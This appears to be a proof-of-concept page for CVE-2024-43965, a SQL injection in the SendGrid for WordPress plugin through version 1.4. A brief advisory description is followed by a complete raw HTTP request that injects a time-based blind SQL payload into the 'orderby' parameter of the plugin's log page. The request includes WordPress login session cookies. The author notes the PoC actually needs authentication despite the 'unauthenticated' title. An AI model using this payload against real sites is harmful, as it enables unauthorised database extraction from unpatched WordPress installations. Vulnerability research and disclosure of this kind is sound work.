SendGrid for WordPress <= 1.4 - Unauthenticated SQL Injection# CVE-2024-43965
SendGrid for WordPress <= 1.4 - Unauthenticated SQL Injection
# Description
The SendGrid for WordPress plugin for WordPress is vulnerable to SQL Injection in versions up to, and including, 1.4 due to insufficient escaping on the user supplied parameter and lack of sufficient preparation on the existing SQL query. This makes it possible for unauthenticated attackers to append additional SQL queries into already existing queries that can be used to extract sensitive information from the database.
```
Type: plugin
CVSS Score: 10
CVE: CVE-2024-43965
Slug: wp-sendgrid-mailer
```
Download Link: https://downloads.wordpress.org/plugin/wp-sendgrid-mailer.1.4.zip
POC - This poc needs auth sadly
----
```
GET /wp-admin/admin.php?page=wp-mailplus-logs&orderby=sent_time%2c(select*from(select(sleep(20)))a)&order=asc HTTP/1.1
Host: kubernetes.docker.internal
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:131.0) Gecko/20100101 Firefox/131.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/png,image/svg+xml,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Referer: http://kubernetes.docker.internal/wp-admin/admin.php?page=wp-mailplus-logs
Connection: keep-alive
Cookie: thc_time=1731228211; wordpress_e2df32a6c3e7076dd7dc7d3f3fec39aa=admin%7C1728983677%7C4Xhd7TcV61WG4vHjAg7FnUTbbGjPn6suDuM3pdK1Lif%7C64e3c5190e9d6981e485354f702a6f61dc8d35c827776156e02acbc906e9438b; _delighted_web={%22FutSOUgy5edCcTk9%22:{%22_delighted_fst%22:{%22t%22:%221694595337803%22}}}; mailpoet_page_view=%7B%22timestamp%22%3A1727811617%7D; wc_auth_e2df32a6c3e7076dd7dc7d3f3fec39aa=1%7C1729506239%7C78ab8d662a1880b359746913feff6990daed2d6015365243d2e2412561061446; wp-settings-1=libraryContent%3Dbrowse%26posts_list_mode%3Dlist; wp-settings-time-1=1728766871; wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_e2df32a6c3e7076dd7dc7d3f3fec39aa=admin%7C1728983677%7C4Xhd7TcV61WG4vHjAg7FnUTbbGjPn6suDuM3pdK1Lif%7C8a736f7917a23bb6af5d41f105cca1cea534aae621f35fae6edbe554d366207f; wp_wpfileupload_e2df32a6c3e7076dd7dc7d3f3fec39aa=XQGEyqgTa4ZpWTEfq92q1b6ZAMRbbNSs
Upgrade-Insecure-Requests: 1
Priority: u=0, i
````
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